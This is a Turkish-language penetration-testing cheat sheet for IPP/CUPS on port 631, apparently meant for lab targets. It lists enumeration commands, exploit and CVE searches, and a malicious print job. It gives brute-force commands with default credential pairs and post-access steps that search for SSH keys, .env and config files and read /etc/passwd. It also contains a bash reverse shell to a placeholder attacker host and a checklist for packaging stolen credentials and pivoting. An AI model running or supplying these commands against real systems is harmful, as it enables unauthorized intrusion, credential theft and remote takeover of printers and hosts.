631 - Internet Printing Protocol(IPP)

IPP/CUPS print

Internet Printing Protocol / CUPS yazıcı ve job yönetimi; bazı CVE’ler RCE verir. Hedef lab IP’si üzerinde komutları 631 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 631 doğrula.

2. Get-Printer-Attributes.

3. Job gönder.

4. CVE PoC.

Keşif

nmap -Pn -sV -p631 TARGET

nmap -Pn -p631 --script ipp-version TARGET

curl -s http://TARGET:631/

ipptool -tv ipp://TARGET:631/printers/ get-printer-attributes.test

Abuse

searchsploit cups ipp

nuclei -u http://TARGET:631 -tags cups

lp -h TARGET -d printer evil.ps

Derin enum

Internet Printing Protocol(IPP) için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p631 TARGET

nmap -Pn -p631 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:631' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',631));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → Internet Printing Protocol(IPP)

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 631 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 631

nmap -p631 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit IPP/CUPS

msfconsole -q -x 'search IPP/CUPS; exit'

nuclei -u https://TARGET:631 -t cves/ -silent -severity || true

nuclei -u http://TARGET:631 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 631

printf '
' | timeout 3 nc -nv TARGET 631

curl -vk --http1.0 http://TARGET:631/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

IPP enum → CVE/job → RCE or info